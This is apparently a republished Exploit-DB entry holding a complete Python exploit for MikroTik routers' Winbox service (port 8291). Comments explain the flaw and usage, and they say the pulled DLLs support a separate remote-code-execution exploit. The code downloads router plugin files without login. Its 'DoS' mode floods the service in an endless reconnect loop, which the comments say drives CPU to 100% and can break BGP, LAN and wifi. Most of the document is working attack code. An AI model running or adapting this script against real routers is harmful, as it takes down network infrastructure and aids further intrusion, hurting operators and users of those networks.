Mikrotik Router – Denial of Service

  • 作者: PoURaN
    日期: 2012-05-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18817/
  • #!/usr/bin/python
    # Exploit Title: 	Mikrotik Router Remote Denial Of Service attack
    # Date: 			19/4/2012
    # Author: 			PoURaN @ 133tsec.com
    # Software Link: 	http://www.mikrotik.com
    # Version: 			All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)
    # Tested on: 		Mikrotis RouterOS 2.9.6 up to 5.15
    #
    #Vulnerability Description 
    # ===========================
    # DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/
    # The denial of service, happens on mikrotik router's winbox service when
    # the attacker is requesting continuesly a part of a .dll/plugin file, so the service 
    # becomes unstable causing every remote clients (with winbox) to disconnect
    # and denies to accept any further connections. That happens for about 5 minutes. After
    # the 5 minutes, winbox is stable again, being able to accept new connections.
    # If you send the malicious packet in a loop (requestingpart of a file right after
    # the service becoming available again) then you result in a 100% denial of winbox service.
    # While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%
    # and other actions. The "other actions" depends on the router version and on the hardware.
    # For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure
    # 	=> Mikrotik Router v2.9.6 there was a BGP failure
    #	=> Mikrotik Router v4.13 unstable wifi links
    #	=> Mikrotik Router v5.14/5.15 rarely stacking
    #	=>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=
    #
    #
    #The exploit
    # =============
    # This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins
    # that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE
    # user login!
    # Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).
    # This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one
    # or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.
    # The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they
    # have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)
    # These DLLs can be used by the "Winbox remote code execution" exploit script ;)
    #
    #Usage
    # =======
    # Use the script as described below:
    # 1. You can download ALL the files of the router's dll index using the following command:
    #	python mkDl.py 10.0.0.1 * 1
    #	the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving
    #	information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use
    #	a slower speed ( 9 for example ).
    #	Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)
    # 2. You can download a specific .dll file from the remote router.
    #	python mkDl.py 10.67.162.1 roteros.dll 1
    #	In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)
    #	Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)
    #	That is a restriction of winbox communication protocol.
    #	If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c
    #	to stop the script.
    # 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)
    #	python mkDl.py 10.67.162.1 DoS
    #	This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request
    #	and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)
    #	Then it waits till the service is up again (using some exception handling), then it requests again till the remote
    #	service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about
    #	5 minutes as far as i have seen from my tests in different routeros versions.
    #
    #	<> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>
    #
    import socket, sys, os, struct, random, time
    
    def InitConnection(mikrotikIP, speed):
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	s.connect((mikrotikIP, 8291))
    	s.send(winboxStartingIndex)
    	data = s.recv(1024)			# receiving dll index from server
    	time.sleep(0.001*speed)
    	if data.find("\xFF\x02"+"index"+"\x00") > -1:
    		print "[+] Index received!"
    	else:
    		print "[+] Wrong index.. Exiting.."
    		sys.exit(0)
    	return s
    
    def download(filename, speed, s):
    	f = open(filename, 'wb')
    	if len(filename) < 13 and len(filename) > 6:
    		print "[+] Requesting file ", filename, ' <->'
    		winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
    		s.send(winboxStartingFileReq)
    		time.sleep(0.001*speed)
    		dataReceived = s.recv(1)
    		if dataReceived[0:1]=='\xFF':
    			print "[+] Receiving the file..."
    			f.write(dataReceived)						# written 1st byte
    			time.sleep(0.001*speed)
    			dataReceived = s.recv(0x101)				# 0x100 + 1
    			nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
    			if dataReceived[0:1]=='\x02':
    				time.sleep(0.001*speed)
    				f.write(dataReceived)					# written 1st chunk 0x102 bytes with header in file.
    				dataReceived = s.recv(0x102)			# 1st sequence of (0xFF 0xFF)
    				bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
    				f.write(dataReceived)					# write the next 0x102 bytes (total 0x102+0x102 in file)
    			else:
    				print "[-] Wrong data received..(2)"
    				sys.exit(0)
    		else:
    			print "[-] Wrong data received..(1)"
    			sys.exit(0)
    		
    		finalPart=0
    		bigFileCounter = 0xFFED
    		packetsCounted=0		# counter for the 0x101 packet counts. Every time a file is requested this counter is 0
    		fileRequested=0			# every time a file needs to be requested more than 1 time, this is it's counter.
    		while 1:								# header of file done.. Now LOOP the body..
    			packetsCounted+=1	# dbg
    			time.sleep(0.001*speed)
    			dataReceived = s.recv(bytesToRead)
    			f.write(dataReceived)
    			if (bytesToRead <> len(dataReceived)) and packetsCounted==255:	# an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume
    				packetsCounted = -1
    				print '[+] Next file part : ', fileRequested
    				s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +	struct.pack('>h',bigFileCounter))
    				time.sleep(0.001*speed)
    				dataReceived = s.recv(0x101 + 2)			# Reads the new header of the new part!!!
    				nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
    				f.write(dataReceived)
    				bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)
    				fileRequested += 1
    				bigFileCounter -= 0x13
    			bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)		# den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..
    			if bytesToRead==0xFF:			# kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei
    				bytesToRead += 2
    			if bytesToRead != 0x101 and nextPartFingerprint < 65517:	# dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file
    				time.sleep(0.001*speed)
    				dataReceived = s.recv(bytesToRead)
    				f.write(dataReceived)
    				break
    			if bytesToRead != 0x101 and nextPartFingerprint==65517:		# ligotera bytes KAI fingerprint 65517 simainei corrupted file..
    				print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'
    				sys.exit(0)
    		if fileRequested < 1:	print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'
    		else:	print '[+] File '+filename+' downloaded successfully'
    	f.close()
    	s.close()
    
    	
    def Flood(s):
    	filename = 'roteros.dll'
    	f = 'we\'r not gonna use I/O to store the data'
    	print "[+] Requesting file ", filename, ' till death :)'
    	time.sleep(1)
    	winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
    	s.send(winboxStartingFileReq)
    	time.sleep(0.001)
    	dataReceived = s.recv(1)
    	if dataReceived[0:1]=='\xFF':
    		f = dataReceived						# written 1st byte
    		time.sleep(0.001)
    		dataReceived = s.recv(0x101)				# 0x100 + 1
    		nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
    		if dataReceived[0:1]=='\x02':
    			time.sleep(0.001)
    			f = dataReceived					# written 1st chunk 0x102 bytes with header in file.
    			dataReceived = s.recv(0x102)			# 1st sequence of (0xFF 0xFF)
    			bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
    			f = dataReceived					# write the next 0x102 bytes (total 0x102+0x102 in file)
    		else:
    			print "[-] Wrong data received..(2)"
    			sys.exit(0)
    	else:
    		print "[-] Wrong data received..(1)"
    		sys.exit(0)
    	
    	finalPart=0
    	bigFileCounter = 0xFFED
    	packetsCounted=0		# counter for the 0x101 packet counts. Every time a file is requested this counter is 0
    	fileRequested=0			# every time a file needs to be requested more than 1 time, this is it's counter.
    	try:
    		while 1:
    			s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +	struct.pack('>h',bigFileCounter))
    			s.recv(1)
    			print '- Sending evil packet.. press CTRL-C to stop -'
    	except:
    		print 'Connection reseted by server.. trying attacking again'
    
    
    ###############################################################################################################
    ########################################### SCRIPT BODY STARTS HERE ###########################################
    global RequestHeader
    RequestHeader = ('\x12\x02')
    global RequestFirstFooter
    RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')
    
    global winboxStartingIndex
    winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)
    winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)
    
    print '\n[Winbox plugin downloader]\n\n'
    
    if len(sys.argv)==3:
    	if sys.argv[2]=='DoS':							# if i combine both checks in 1st if, there will be error.. guess why.. ;)
    		print '[+] Hmmm we gonna attack it..'
    		time.sleep(1)
    		speed=1
    		mikrotikIP = sys.argv[1]
    		filename = sys.argv[2]
    		while 1:
    			time.sleep(1)
    			try:
    				s = InitConnection(mikrotikIP, speed)
    				Flood(s)
    			except:
    				time.sleep(1)
    
    if len(sys.argv)<>4:
    	print 'Usage : '+sys.argv[0]+' <mikrotik_ip> <filename_to_download> <speed>\n\t<speed>:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'
    	sys.exit(0)
    
    mikrotikIP = sys.argv[1]
    filename = sys.argv[2]
    speed = int(sys.argv[3])
    if speed>9 or speed<1:
    	print 'Speed must be between 1 and 9 else there are unexpected results!'
    	sys.exit(0)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((mikrotikIP, 8291))
    s.send(winboxStartingIndex)
    data = s.recv(1024)			# receiving dll index from server
    s.close()
    
    if filename.find('*') > -1:
    	DllList = data.split('\x0a')
    	print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'
    	for i in range(0, len(DllList)-1):
    		print DllList[i].split(' ')[2]
    	raw_input('> Press enter to continue <')
    	for extractedDlls in range(0, len(DllList)-1):
    		print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]
    		filename=DllList[extractedDlls].split(' ')[2]
    		s = InitConnection(mikrotikIP, speed)
    		download(filename, speed, s)
    else:
    	s = InitConnection(mikrotikIP, speed)
    	download(filename, speed, s)